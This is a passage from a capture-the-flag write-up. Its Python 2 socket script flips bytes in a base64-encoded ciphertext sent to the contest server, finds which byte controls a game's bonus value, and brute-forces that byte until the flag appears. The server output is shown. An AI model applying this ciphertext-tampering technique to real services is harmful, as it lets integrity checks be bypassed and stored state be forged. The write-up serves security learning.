s.connect(("ctf.fluxfingers.net",2053))
s.recv(1024)</code>
responses = set()
def send_request(data):
try:
s.send("L"+data+"\n")
except:
s = socket(AF_INET, SOCK_STREAM)
s.connect(("ctf.fluxfingers.net",2053))
s.recv(1024)
s.send("L"+data+"\n")</code>
r = s.recv(1024)
if r not in responses:
responses.add(r)
print r
orig_cipher = base64.b64decode("mzIbwjPTw6hMVcp5DsRZGJykuaWXYaukFOEvUT5xVFLfjqQahbCTNsjXYYUawNEc+XFBV689Y/LPD8YYqKy+Z4DqS1uh9yva1ICjyphYbC8=")
fake_cipher = orig_cipher
l = len(orig_cipher)
for i in range(l):
print "Try with character #%d"%i
fake_cipher = set_byte(orig_cipher, i, chr((ord(fake_cipher[i])+1)%256) )
send_request(base64.b64encode(fake_cipher))
The response will look like this:
Try with character #9
Try with character #10
Restored state.
Your current balance is 5 credits and 0 bonusTry with character #11
Error loading game: Expecting , delimiter: line 1 column 11 (char 11)
Looking at the result, we notice that changing value of byte #10 will cause the bonus value changed.
Now we simply brute the value of this byte until getting the flag:
orig_cipher = base64.b64decode("mzIbwjPTw6hMVcp5DsRZGJykuaWXYaukFOEvUT5xVFLfjqQahbCTNsjXYYUawNEc+XFBV689Y/LPD8YYqKy+Z4DqS1uh9yva1ICjyphYbC8=")
fake_cipher = orig_cipher
l = len(orig_cipher)
for i in range(256):
index = 10
fake_cipher = set_byte(fake_cipher, index, chr((ord(fake_cipher[index])+i)%256) )
send_request(base64.b64encode(fake_cipher))
We will see the flag after a few minutes:
Restored state.
Your current balance is 5 credits and 5 bonusRestored state.
Your current balance is 5 credits and 8 bonus
Nice one. Here’s your flag: 9eef8f17d07c4f11febcac1052469ab9


